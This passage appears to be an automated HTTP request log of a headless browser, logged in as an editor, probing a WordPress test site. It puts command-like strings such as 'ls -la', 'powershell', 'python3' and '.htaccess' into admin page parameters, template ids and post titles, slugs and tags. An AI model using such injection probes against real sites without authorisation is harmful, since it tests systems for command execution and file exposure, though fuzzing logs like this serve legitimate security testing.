"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/tools.php?page=tools-ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/tools.php?page=tools-powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/tools.php?page=tools-python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/site-editor.php?postType=wp_template&postId=python3-theme//single&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""} +{"method": "GET", "target": "/wp-admin/site-editor.php?canvas=edit&p=/wp_template/python3-theme//single", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""} +{"method": "GET", "target": "/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""} +{"method": "GET", "target": "/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Fpowershell-page&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251831"], "body": ""} +{"method": "GET", "target": "/wp-admin/site-editor.php?postType=wp_template&postId=python3-theme%2F%2Fpowershell-page&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251835"], "body": ""} +{"method": "GET", "target": "/wp-admin/site-editor.php?canvas=edit&p=/wp_template/python3-theme//powershell-page", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251835"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 30", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"Hello world\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 32", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"Hello world\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 22", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"Hello world\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 26", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"python3\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"python3\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 18", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"python3\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 29", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"powershell\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 31", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"powershell\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 21", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"powershell\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 25", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"ls -la\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 27", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"ls -la\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 17", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"ls -la\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\".htaccess\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 30", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\".htaccess\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 20", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\".htaccess\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 29", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"hello-world\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 25", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"python3\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"powershell\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 23", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"ls-la\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 26", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"htaccess\"}"} +{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fhello-world%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fhello-world%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) 